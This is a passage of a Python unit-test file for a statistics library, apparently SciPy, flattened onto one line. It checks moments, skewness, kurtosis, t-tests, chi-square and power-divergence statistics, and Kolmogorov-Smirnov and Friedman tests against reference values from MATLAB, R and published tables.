http://www.mathworks.com/access/helpdesk/help/toolbox/stats/skewness.shtml Note that both test cases came from here. """ testcase = [1,2,3,4] np.random.seed(1234) testcase_moment_accuracy = np.random.rand(42) testmathworks = [1.165, 0.6268, 0.0751, 0.3516, -0.6965] def test_moment(self): # mean((testcase-mean(testcase))**power,axis=0),axis=0))**power)) y = stats.moment(self.testcase,1) assert_approx_equal(y,0.0,10) y = stats.moment(self.testcase,2) assert_approx_equal(y,1.25) y = stats.moment(self.testcase,3) assert_approx_equal(y,0.0) y = stats.moment(self.testcase,4) assert_approx_equal(y,2.5625) def test_variation(self): # variation = samplestd / mean y = stats.variation(self.testcase) assert_approx_equal(y,0.44721359549996, 10) def test_skewness(self): # sum((testmathworks-mean(testmathworks,axis=0))**3,axis=0) / # ((sqrt(var(testmathworks)*4/5))**3)/5 y = stats.skew(self.testmathworks) assert_approx_equal(y,-0.29322304336607,10) y = stats.skew(self.testmathworks,bias=0) assert_approx_equal(y,-0.437111105023940,10) y = stats.skew(self.testcase) assert_approx_equal(y,0.0,10) def test_skewness_scalar(self): # `skew` must return a scalar for 1-dim input assert_equal(stats.skew(arange(10)), 0.0) def test_kurtosis(self): # sum((testcase-mean(testcase,axis=0))**4,axis=0)/((sqrt(var(testcase)*3/4))**4)/4 # sum((test2-mean(testmathworks,axis=0))**4,axis=0)/((sqrt(var(testmathworks)*4/5))**4)/5 # Set flags for axis = 0 and # fisher=0 (Pearson's defn of kurtosis for compatiability with Matlab) y = stats.kurtosis(self.testmathworks,0,fisher=0,bias=1) assert_approx_equal(y, 2.1658856802973,10) # Note that MATLAB has confusing docs for the following case # kurtosis(x,0) gives an unbiased estimate of Pearson's skewness # kurtosis(x) gives a biased estimate of Fisher's skewness (Pearson-3) # The MATLAB docs imply that both should give Fisher's y = stats.kurtosis(self.testmathworks,fisher=0,bias=0) assert_approx_equal(y, 3.663542721189047,10) y = stats.kurtosis(self.testcase,0,0) assert_approx_equal(y,1.64) def test_kurtosis_array_scalar(self): assert_equal(type(stats.kurtosis([1,2,3])), float) def test_moment_accuracy(self): # 'moment' must have a small enough error compared to the slower # but very accurate numpy.power() implementation. tc_no_mean = self.testcase_moment_accuracy - \ np.mean(self.testcase_moment_accuracy) assert_allclose(np.power(tc_no_mean, 42).mean(), stats.moment(self.testcase_moment_accuracy, 42)) class TestThreshold(TestCase): def test_basic(self): a = [-1,2,3,4,5,-1,-2] assert_array_equal(stats.threshold(a),a) assert_array_equal(stats.threshold(a,3,None,0), [0,0,3,4,5,0,0]) assert_array_equal(stats.threshold(a,None,3,0), [-1,2,3,0,0,-1,-2]) assert_array_equal(stats.threshold(a,2,4,0), [0,2,3,4,0,0,0]) class TestStudentTest(TestCase): X1 = np.array([-1, 0, 1]) X2 = np.array([0, 1, 2]) T1_0 = 0 P1_0 = 1 T1_1 = -1.732051 P1_1 = 0.2254033 T1_2 = -3.464102 P1_2 = 0.0741799 T2_0 = 1.732051 P2_0 = 0.2254033 def test_onesample(self): t, p = stats.ttest_1samp(self.X1, 0) assert_array_almost_equal(t, self.T1_0) assert_array_almost_equal(p, self.P1_0) t, p = stats.ttest_1samp(self.X2, 0) assert_array_almost_equal(t, self.T2_0) assert_array_almost_equal(p, self.P2_0) t, p = stats.ttest_1samp(self.X1, 1) assert_array_almost_equal(t, self.T1_1) assert_array_almost_equal(p, self.P1_1) t, p = stats.ttest_1samp(self.X1, 2) assert_array_almost_equal(t, self.T1_2) assert_array_almost_equal(p, self.P1_2) def test_percentileofscore(): pcos = stats.percentileofscore assert_equal(pcos([1,2,3,4,5,6,7,8,9,10],4), 40.0) for (kind, result) in [('mean', 35.0), ('strict', 30.0), ('weak', 40.0)]: yield assert_equal, pcos(np.arange(10) + 1, 4, kind=kind), \ result # multiple - 2 for (kind, result) in [('rank', 45.0), ('strict', 30.0), ('weak', 50.0), ('mean', 40.0)]: yield assert_equal, pcos([1,2,3,4,4,5,6,7,8,9], 4, kind=kind), \ result # multiple - 3 assert_equal(pcos([1,2,3,4,4,4,5,6,7,8], 4), 50.0) for (kind, result) in [('rank', 50.0), ('mean', 45.0), ('strict', 30.0), ('weak', 60.0)]: yield assert_equal, pcos([1,2,3,4,4,4,5,6,7,8], 4, kind=kind), \ result # missing for kind in ('rank', 'mean', 'strict', 'weak'): yield assert_equal, pcos([1,2,3,5,6,7,8,9,10,11], 4, kind=kind), \ 30 # larger numbers for (kind, result) in [('mean', 35.0), ('strict', 30.0), ('weak', 40.0)]: yield assert_equal, \ pcos([10, 20, 30, 40, 50, 60, 70, 80, 90, 100], 40, kind=kind), result for (kind, result) in [('mean', 45.0), ('strict', 30.0), ('weak', 60.0)]: yield assert_equal, \ pcos([10, 20, 30, 40, 40, 40, 50, 60, 70, 80], 40, kind=kind), result for kind in ('rank', 'mean', 'strict', 'weak'): yield assert_equal, \ pcos([10, 20, 30, 50, 60, 70, 80, 90, 100, 110], 40, kind=kind), 30.0 # boundaries for (kind, result) in [('rank', 10.0), ('mean', 5.0), ('strict', 0.0), ('weak', 10.0)]: yield assert_equal, \ pcos([10, 20, 30, 50, 60, 70, 80, 90, 100, 110], 10, kind=kind), result for (kind, result) in [('rank', 100.0), ('mean', 95.0), ('strict', 90.0), ('weak', 100.0)]: yield assert_equal, \ pcos([10, 20, 30, 50, 60, 70, 80, 90, 100, 110], 110, kind=kind), result # out of bounds for (kind, score, result) in [('rank', 200, 100.0), ('mean', 200, 100.0), ('mean', 0, 0.0)]: yield assert_equal, \ pcos([10, 20, 30, 50, 60, 70, 80, 90, 100, 110], score, kind=kind), result assert_raises(ValueError, pcos, [1, 2, 3, 3, 4], 3, kind='unrecognized') PowerDivCase = namedtuple('Case', ['f_obs', 'f_exp', 'ddof', 'axis', 'chi2', # Pearson's 'log', # G-test (log-likelihood) 'mod_log', # Modified log-likelihood 'cr', # Cressie-Read (lambda=2/3) ]) # The details of the first two elements in power_div_1d_cases are used # in a test in TestPowerDivergence. Check that code before making # any changes here. power_div_1d_cases = [ # Use the default f_exp. PowerDivCase(f_obs=[4, 8, 12, 8], f_exp=None, ddof=0, axis=None, chi2=4, log=2*(4*np.log(4/8) + 12*np.log(12/8)), mod_log=2*(8*np.log(8/4) + 8*np.log(8/12)), cr=(4*((4/8)**(2/3) - 1) + 12*((12/8)**(2/3) - 1))/(5/9)), # Give a non-uniform f_exp. PowerDivCase(f_obs=[4, 8, 12, 8], f_exp=[2, 16, 12, 2], ddof=0, axis=None, chi2=24, log=2*(4*np.log(4/2) + 8*np.log(8/16) + 8*np.log(8/2)), mod_log=2*(2*np.log(2/4) + 16*np.log(16/8) + 2*np.log(2/8)), cr=(4*((4/2)**(2/3) - 1) + 8*((8/16)**(2/3) - 1) + 8*((8/2)**(2/3) - 1))/(5/9)), # f_exp is a scalar. PowerDivCase(f_obs=[4, 8, 12, 8], f_exp=8, ddof=0, axis=None, chi2=4, log=2*(4*np.log(4/8) + 12*np.log(12/8)), mod_log=2*(8*np.log(8/4) + 8*np.log(8/12)), cr=(4*((4/8)**(2/3) - 1) + 12*((12/8)**(2/3) - 1))/(5/9)), # f_exp equal to f_obs. PowerDivCase(f_obs=[3, 5, 7, 9], f_exp=[3, 5, 7, 9], ddof=0, axis=0, chi2=0, log=0, mod_log=0, cr=0), ] power_div_empty_cases = [ # Shape is (0,)--a data set with length 0. The computed # test statistic should be 0. PowerDivCase(f_obs=[], f_exp=None, ddof=0, axis=0, chi2=0, log=0, mod_log=0, cr=0), # Shape is (0, 3). This is 3 data sets, but each data set has # length 0, so the computed test statistic should be [0, 0, 0]. PowerDivCase(f_obs=np.array([[],[],[]]).T, f_exp=None, ddof=0, axis=0, chi2=[0, 0, 0], log=[0, 0, 0], mod_log=[0, 0, 0], cr=[0, 0, 0]), # Shape is (3, 0). This represents an empty collection of # data sets in which each data set has length 3. The test # statistic should be an empty array. PowerDivCase(f_obs=np.array([[],[],[]]), f_exp=None, ddof=0, axis=0, chi2=[], log=[], mod_log=[], cr=[]), ] class TestPowerDivergence(object): def check_power_divergence(self, f_obs, f_exp, ddof, axis, lambda_, expected_stat): f_obs = np.asarray(f_obs) if axis is None: num_obs = f_obs.size else: b = np.broadcast(f_obs, f_exp) num_obs = b.shape[axis] stat, p = stats.power_divergence(f_obs=f_obs, f_exp=f_exp, ddof=ddof, axis=axis, lambda_=lambda_) assert_allclose(stat, expected_stat) if lambda_ == 1 or lambda_ == "pearson": # Also test stats.chisquare. stat, p = stats.chisquare(f_obs=f_obs, f_exp=f_exp, ddof=ddof, axis=axis) assert_allclose(stat, expected_stat) ddof = np.asarray(ddof) expected_p = stats.chisqprob(expected_stat, num_obs - 1 - ddof) assert_allclose(p, expected_p) def test_basic(self): for case in power_div_1d_cases: yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, None, case.chi2) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "pearson", case.chi2) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, 1, case.chi2) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "log-likelihood", case.log) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "mod-log-likelihood", case.mod_log) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "cressie-read", case.cr) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, 2/3, case.cr) def test_basic_masked(self): for case in power_div_1d_cases: mobs = np.ma.array(case.f_obs) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, None, case.chi2) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, "pearson", case.chi2) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, 1, case.chi2) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, "log-likelihood", case.log) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, "mod-log-likelihood", case.mod_log) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, "cressie-read", case.cr) yield (self.check_power_divergence, mobs, case.f_exp, case.ddof, case.axis, 2/3, case.cr) def test_axis(self): case0 = power_div_1d_cases[0] case1 = power_div_1d_cases[1] f_obs = np.vstack((case0.f_obs, case1.f_obs)) f_exp = np.vstack((np.ones_like(case0.f_obs)*np.mean(case0.f_obs), case1.f_exp)) # Check the four computational code paths in power_divergence # using a 2D array with axis=1. yield (self.check_power_divergence, f_obs, f_exp, 0, 1, "pearson", [case0.chi2, case1.chi2]) yield (self.check_power_divergence, f_obs, f_exp, 0, 1, "log-likelihood", [case0.log, case1.log]) yield (self.check_power_divergence, f_obs, f_exp, 0, 1, "mod-log-likelihood", [case0.mod_log, case1.mod_log]) yield (self.check_power_divergence, f_obs, f_exp, 0, 1, "cressie-read", [case0.cr, case1.cr]) # Reshape case0.f_obs to shape (2,2), and use axis=None. # The result should be the same. yield (self.check_power_divergence, np.array(case0.f_obs).reshape(2, 2), None, 0, None, "pearson", case0.chi2) def test_ddof_broadcasting(self): # Test that ddof broadcasts correctly. # ddof does not affect the test statistic. It is broadcast # with the computed test statistic for the computation of # the p value. case0 = power_div_1d_cases[0] case1 = power_div_1d_cases[1] # Create 4x2 arrays of observed and expected frequencies. f_obs = np.vstack((case0.f_obs, case1.f_obs)).T f_exp = np.vstack((np.ones_like(case0.f_obs)*np.mean(case0.f_obs), case1.f_exp)).T expected_chi2 = [case0.chi2, case1.chi2] # ddof has shape (2, 1). This is broadcast with the computed # statistic, so p will have shape (2,2). ddof = np.array([[0], [1]]) stat, p = stats.power_divergence(f_obs, f_exp, ddof=ddof) assert_allclose(stat, expected_chi2) # Compute the p values separately, passing in scalars for ddof. stat0, p0 = stats.power_divergence(f_obs, f_exp, ddof=ddof[0,0]) stat1, p1 = stats.power_divergence(f_obs, f_exp, ddof=ddof[1,0]) assert_array_equal(p, np.vstack((p0, p1))) def test_empty_cases(self): with warnings.catch_warnings(): warnings.simplefilter("ignore", RuntimeWarning) for case in power_div_empty_cases: yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "pearson", case.chi2) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "log-likelihood", case.log) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "mod-log-likelihood", case.mod_log) yield (self.check_power_divergence, case.f_obs, case.f_exp, case.ddof, case.axis, "cressie-read", case.cr) def test_chisquare_masked_arrays(): # Test masked arrays. obs = np.array([[8, 8, 16, 32, -1], [-1, -1, 3, 4, 5]]).T mask = np.array([[0, 0, 0, 0, 1], [1, 1, 0, 0, 0]]).T mobs = np.ma.masked_array(obs, mask) expected_chisq = np.array([24.0, 0.5]) expected_g = np.array([2*(2*8*np.log(0.5) + 32*np.log(2.0)), 2*(3*np.log(0.75) + 5*np.log(1.25))]) chisq, p = stats.chisquare(mobs) mat.assert_array_equal(chisq, expected_chisq) mat.assert_array_almost_equal(p, stats.chisqprob(expected_chisq, mobs.count(axis=0) - 1)) g, p = stats.power_divergence(mobs, lambda_='log-likelihood') mat.assert_array_almost_equal(g, expected_g, decimal=15) mat.assert_array_almost_equal(p, stats.chisqprob(expected_g, mobs.count(axis=0) - 1)) chisq, p = stats.chisquare(mobs.T, axis=1) mat.assert_array_equal(chisq, expected_chisq) mat.assert_array_almost_equal(p, stats.chisqprob(expected_chisq, mobs.T.count(axis=1) - 1)) g, p = stats.power_divergence(mobs.T, axis=1, lambda_="log-likelihood") mat.assert_array_almost_equal(g, expected_g, decimal=15) mat.assert_array_almost_equal(p, stats.chisqprob(expected_g, mobs.count(axis=0) - 1)) obs1 = np.ma.array([3, 5, 6, 99, 10], mask=[0, 0, 0, 1, 0]) exp1 = np.ma.array([2, 4, 8, 10, 99], mask=[0, 0, 0, 0, 1]) chi2, p = stats.chisquare(obs1, f_exp=exp1) # Because of the mask at index 3 of obs1 and at index 4 of exp1, # only the first three elements are included in the calculation # of the statistic. mat.assert_array_equal(chi2, 1/2 + 1/4 + 4/8) # When axis=None, the two values should have type np.float64. chisq, p = stats.chisquare(np.ma.array([1,2,3]), axis=None) assert_(isinstance(chisq, np.float64)) assert_(isinstance(p, np.float64)) assert_equal(chisq, 1.0) assert_almost_equal(p, stats.chisqprob(1.0, 2)) # Empty arrays: # A data set with length 0 returns a masked scalar. with np.errstate(invalid='ignore'): chisq, p = stats.chisquare(np.ma.array([])) assert_(isinstance(chisq, np.ma.MaskedArray)) assert_equal(chisq.shape, ()) assert_(chisq.mask) empty3 = np.ma.array([[],[],[]]) # empty3 is a collection of 0 data sets (whose lengths would be 3, if # there were any), so the return value is an array with length 0. chisq, p = stats.chisquare(empty3) assert_(isinstance(chisq, np.ma.MaskedArray)) mat.assert_array_equal(chisq, []) # empty3.T is an array containing 3 data sets, each with length 0, # so an array of size (3,) is returned, with all values masked. with np.errstate(invalid='ignore'): chisq, p = stats.chisquare(empty3.T) assert_(isinstance(chisq, np.ma.MaskedArray)) assert_equal(chisq.shape, (3,)) assert_(np.all(chisq.mask)) def test_power_divergence_against_cressie_read_data(): # Test stats.power_divergence against tables 4 and 5 from # Cressie and Read, "Multimonial Goodness-of-Fit Tests", # J. R. Statist. Soc. B (1984), Vol 46, No. 3, pp. 440-464. # This tests the calculation for several values of lambda. # `table4` holds just the second and third columns from Table 4. table4 = np.array([ # observed, expected, 15, 15.171, 11, 13.952, 14, 12.831, 17, 11.800, 5, 10.852, 11, 9.9796, 10, 9.1777, 4, 8.4402, 8, 7.7620, 10, 7.1383, 7, 6.5647, 9, 6.0371, 11, 5.5520, 3, 5.1059, 6, 4.6956, 1, 4.3183, 1, 3.9713, 4, 3.6522, ]).reshape(-1, 2) table5 = np.array([ # lambda, statistic -10.0, 72.2e3, -5.0, 28.9e1, -3.0, 65.6, -2.0, 40.6, -1.5, 34.0, -1.0, 29.5, -0.5, 26.5, 0.0, 24.6, 0.5, 23.4, 0.67, 23.1, 1.0, 22.7, 1.5, 22.6, 2.0, 22.9, 3.0, 24.8, 5.0, 35.5, 10.0, 21.4e1, ]).reshape(-1, 2) for lambda_, expected_stat in table5: stat, p = stats.power_divergence(table4[:,0], table4[:,1], lambda_=lambda_) assert_allclose(stat, expected_stat, rtol=5e-3) def test_friedmanchisquare(): # see ticket:113 # verified with matlab and R # From Demsar "Statistical Comparisons of Classifiers over Multiple Data Sets" # 2006, Xf=9.28 (no tie handling, tie corrected Xf >=9.28) x1 = [array([0.763, 0.599, 0.954, 0.628, 0.882, 0.936, 0.661, 0.583, 0.775, 1.0, 0.94, 0.619, 0.972, 0.957]), array([0.768, 0.591, 0.971, 0.661, 0.888, 0.931, 0.668, 0.583, 0.838, 1.0, 0.962, 0.666, 0.981, 0.978]), array([0.771, 0.590, 0.968, 0.654, 0.886, 0.916, 0.609, 0.563, 0.866, 1.0, 0.965, 0.614, 0.9751, 0.946]), array([0.798, 0.569, 0.967, 0.657, 0.898, 0.931, 0.685, 0.625, 0.875, 1.0, 0.962, 0.669, 0.975, 0.970])] # From "Bioestadistica para las ciencias de la salud" Xf=18.95 p<0.001: x2 = [array([4,3,5,3,5,3,2,5,4,4,4,3]), array([2,2,1,2,3,1,2,3,2,1,1,3]), array([2,4,3,3,4,3,3,4,4,1,2,1]), array([3,5,4,3,4,4,3,3,3,4,4,4])] # From Jerrorl H. Zar, "Biostatistical Analysis"(example 12.6), Xf=10.68, 0.005 < p < 0.01: # Probability from this example is inexact using Chisquare aproximation of Friedman Chisquare. x3 = [array([7.0,9.9,8.5,5.1,10.3]), array([5.3,5.7,4.7,3.5,7.7]), array([4.9,7.6,5.5,2.8,8.4]), array([8.8,8.9,8.1,3.3,9.1])] assert_array_almost_equal(stats.friedmanchisquare(x1[0],x1[1],x1[2],x1[3]), (10.2283464566929, 0.0167215803284414)) assert_array_almost_equal(stats.friedmanchisquare(x2[0],x2[1],x2[2],x2[3]), (18.9428571428571, 0.000280938375189499)) assert_array_almost_equal(stats.friedmanchisquare(x3[0],x3[1],x3[2],x3[3]), (10.68, 0.0135882729582176)) np.testing.assert_raises(ValueError, stats.friedmanchisquare,x3[0],x3[1]) # test using mstats assert_array_almost_equal(stats.mstats.friedmanchisquare(x1[0],x1[1],x1[2],x1[3]), (10.2283464566929, 0.0167215803284414)) # the following fails # assert_array_almost_equal(stats.mstats.friedmanchisquare(x2[0],x2[1],x2[2],x2[3]), # (18.9428571428571, 0.000280938375189499)) assert_array_almost_equal(stats.mstats.friedmanchisquare(x3[0],x3[1],x3[2],x3[3]), (10.68, 0.0135882729582176)) np.testing.assert_raises(ValueError,stats.mstats.friedmanchisquare,x3[0],x3[1]) def test_kstest(): # from numpy.testing import assert_almost_equal # comparing with values from R x = np.linspace(-1,1,9) D,p = stats.kstest(x,'norm') assert_almost_equal(D, 0.15865525393145705, 12) assert_almost_equal(p, 0.95164069201518386, 1) x = np.linspace(-15,15,9) D,p = stats.kstest(x,'norm') assert_almost_equal(D, 0.44435602715924361, 15) assert_almost_equal(p, 0.038850140086788665, 8) # the following tests rely on deterministicaly replicated rvs np.random.seed(987654321) x = stats.norm.rvs(loc=0.2, size=100) D,p = stats.kstest(x, 'norm', mode='asymp') assert_almost_equal(D, 0.12464329735846891, 15) assert_almost_equal(p, 0.089444888711820769, 15) assert_almost_equal(np.array(stats.kstest(x, 'norm', mode='asymp')), np.array((0.12464329735846891, 0.089444888711820769)), 15) assert_almost_equal(np.array(stats.kstest(x,'norm', alternative='less')), np.array((0.12464329735846891, 0.040989164077641749)), 15) # this 'greater' test fails with precision of decimal=14 assert_almost_equal(np.array(stats.kstest(x,'norm', alternative='greater')), np.array((0.0072115233216310994, 0.98531158590396228)), 12) # missing: no test that uses *args def test_ks_2samp(): # exact small sample solution data1 = np.array([1.0,2.0]) data2 = np.array([1.0,2.0,3.0]) assert_almost_equal(np.array(stats.ks_2samp(data1+0.01,data2)), np.array((0.33333333333333337, 0.99062316386915694))) assert_almost_equal(np.array(stats.ks_2samp(data1-0.01,data2)), np.array((0.66666666666666674, 0.42490954988801982))) # these can also be verified graphically assert_almost_equal( np.array(stats.ks_2samp(np.linspace(1,100,100), np.linspace(1,100,100)+2+0.1)), np.array((0.030000000000000027, 0.99999999996005062))) assert_almost_equal( np.array(stats.ks_2samp(np.linspace(1,100,100), np.linspace(1,100,100)+2-0.1)), np.array((0.020000000000000018, 0.99999999999999933))) # these are just regression tests assert_almost_equal( np.array(stats.ks_2samp(np.linspace(1,100,100), np.linspace(1,100,110)+20.1)), np.array((0.21090909090909091, 0.015880386730710221))) assert_almost_equal( np.array(stats.ks_2samp(np.linspace(1,100,100), np.linspace(1,100,110)+20-0.1)), np.array((0.20818181818181825, 0.017981441789762638))) def test_ttest_rel(): # regression test tr,pr = 0.81248591389165692, 0.41846234511362157 tpr = ([tr,-tr],[pr,pr]) rvs1 = np.linspace(1,100,100) rvs2 = np.linspace(1.01,99.989,100) rvs1_2D = np.array([np.linspace(1,100,100), np.linspace(1.01,99.989,100)]) rvs2_2D = np.array([np.linspace(1.01,99.989,100), np.linspace(1,100,100)]) t,p = stats.ttest_rel(rvs1, rvs2, axis=0) assert_array_almost_equal([t,p],(tr,pr)) t,p = stats.ttest_rel(rvs1_2D.T, rvs2_2D.T, axis=0) assert_array_almost_equal([t,p],tpr) t,p = stats.ttest_rel(rvs1_2D, rvs2_2D, axis=1) assert_array_almost_equal([t,p],tpr) # test on 3 dimensions rvs1_3D = np.dstack([rvs1_2D,rvs1_2D,rvs1_2D]) rvs2_3D = np.dstack([rvs2_2D,rvs2_2D,rvs2_2D]) t,p = stats.ttest_rel(rvs1_3D, rvs2_3D, axis=1) assert_array_almost_equal(np.abs(t), tr) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (2, 3)) t,p = stats.ttest_rel(np.rollaxis(rvs1_3D,2), np.rollaxis(rvs2_3D,2), axis=2) assert_array_almost_equal(np.abs(t), tr) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (3, 2)) olderr = np.seterr(all='ignore') try: # test zero division problem t,p = stats.ttest_rel([0,0,0],[1,1,1]) assert_equal((np.abs(t),p), (np.inf, 0)) assert_equal(stats.ttest_rel([0,0,0], [0,0,0]), (np.nan, np.nan)) # check that nan in input array result in nan output anan = np.array([[1,np.nan],[-1,1]]) assert_equal(stats.ttest_ind(anan, np.zeros((2,2))),([0, np.nan], [1,np.nan])) finally: np.seterr(**olderr) # test incorrect input shape raise an error x = np.arange(24) assert_raises(ValueError, stats.ttest_rel, x.reshape((8, 3)), x.reshape((2, 3, 4))) def _desc_stats(x1, x2, axis=0): def _stats(x, axis=0): x = np.asarray(x) mu = np.mean(x, axis=axis) std = np.std(x, axis=axis, ddof=1) nobs = x.shape[axis] return mu, std, nobs return _stats(x1, axis) + _stats(x2, axis) def test_ttest_perm(): # Test on horizontal dimension N = 20 np.random.seed(0) a = np.vstack((np.arange((3*N)/4),np.random.random((3*N)/4))) b = np.vstack((np.arange(N/4) + 100,np.random.random(N/4))) p_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) # Test on vertical dimension N = 20 np.random.seed(0) a = np.vstack((np.arange((3*N)/4),np.random.random((3*N)/4))).transpose() b = np.vstack((np.arange(N/4) + 100,np.random.random(N/4))).transpose() p_t_stats, pvalues = stats.ttest_ind(a, b, axis=0, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=0, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) # Test on 1 dimensional case N = 20 np.random.seed(0) a = np.arange((3*N)/4) b = np.arange(N/4) + 100 p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999])) # Test just arrays N = 20 np.random.seed(0) a = range(int((3*N)/4)) b = range(100,int(N/4)+100) p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999])) # Test equal variance N = 20 np.random.seed(0) a = np.arange(N/2) b = np.arange(N/2) + 100 p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=True) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=True, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999])) # Test out random seed N = 20 a = np.vstack((np.arange((3*N)/4),np.random.random((3*N)/4))) b = np.vstack((np.arange(N/4) + 100,np.random.random(N/4))) p_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False, permutations=1000, random_state=np.random.RandomState(seed=0)) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) # Test out different array dimensions np.random.seed(0) rvs1 = stats.norm.rvs(loc=5, scale=10, size=500) rvs5 = stats.norm.rvs(loc=8, scale=20, size=100) np_t_stats, pvalues = stats.ttest_ind(rvs1.reshape((100, 5)), rvs5, permutations=1000) assert_array_almost_equal(np_t_stats, np.array([0.012733, 0.393926, 0.208261, 0.050528, 1.111482])) assert_array_almost_equal(pvalues, np.array([0.988012, 0.686314, 0.81019, 0.963037, 0.25974])) def test_ttest_ind_permutations(): # Test on horizontal dimension N = 20 np.random.seed(0) a = np.vstack((np.arange(3*N//4), np.random.random(3*N//4))) b = np.vstack((np.arange(N//4) + 100, np.random.random(N//4))) p_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) # Test on vertical dimension N = 20 np.random.seed(0) a = np.vstack((np.arange((3*N)//4), np.random.random(3*N//4))).transpose() b = np.vstack((np.arange(N//4) + 100, np.random.random(N//4))).transpose() p_t_stats, pvalues = stats.ttest_ind(a, b, axis=0, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=0, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) # Test on 1 dimensional case N = 20 np.random.seed(0) a = np.arange(3*N//4) b = np.arange(N//4) + 100 p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, 0.000999) # Test just arrays N = 20 np.random.seed(0) a = range(3*N//4) b = range(100, N//4 + 100) p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=False, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, 0.000999) # Test equal variance np.random.seed(0) a = np.arange(10) b = np.arange(10) + 100 p_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=True) np_t_stats, pvalues = stats.ttest_ind(a, b, equal_var=True, permutations=1000, random_state=0) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, 0.000999) # Test out random seed N = 20 a = np.vstack((np.arange(3*N//4), np.random.random(3*N//4))) b = np.vstack((np.arange(N//4) + 100, np.random.random(N//4))) p_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False) np_t_stats, pvalues = stats.ttest_ind(a, b, axis=1, equal_var=False, permutations=1000, random_state=np.random.RandomState(seed=0)) assert_array_almost_equal(p_t_stats, np_t_stats, 5) assert_array_almost_equal(pvalues, array([0.000999, 0.69031])) def test_ttest_ind(): # regression test tr = 1.0912746897927283 pr = 0.27647818616351882 tpr = ([tr,-tr],[pr,pr]) rvs2 = np.linspace(1,100,100) rvs1 = np.linspace(5,105,100) rvs1_2D = np.array([rvs1, rvs2]) rvs2_2D = np.array([rvs2, rvs1]) t,p = stats.ttest_ind(rvs1, rvs2, axis=0) assert_array_almost_equal([t,p],(tr,pr)) # test from_stats API assert_array_almost_equal(stats.ttest_ind_from_stats(*_desc_stats(rvs1, rvs2)), [t, p]) t,p = stats.ttest_ind(rvs1_2D.T, rvs2_2D.T, axis=0) assert_array_almost_equal([t,p],tpr) args = _desc_stats(rvs1_2D.T, rvs2_2D.T) assert_array_almost_equal(stats.ttest_ind_from_stats(*args), [t, p]) t,p = stats.ttest_ind(rvs1_2D, rvs2_2D, axis=1) assert_array_almost_equal([t,p],tpr) args = _desc_stats(rvs1_2D, rvs2_2D, axis=1) assert_array_almost_equal(stats.ttest_ind_from_stats(*args), [t, p]) # test on 3 dimensions rvs1_3D = np.dstack([rvs1_2D,rvs1_2D,rvs1_2D]) rvs2_3D = np.dstack([rvs2_2D,rvs2_2D,rvs2_2D]) t,p = stats.ttest_ind(rvs1_3D, rvs2_3D, axis=1) assert_almost_equal(np.abs(t), np.abs(tr)) assert_array_almost_equal(np.abs(p), pr) assert_equal(t.shape, (2, 3)) t,p = stats.ttest_ind(np.rollaxis(rvs1_3D,2), np.rollaxis(rvs2_3D,2), axis=2) 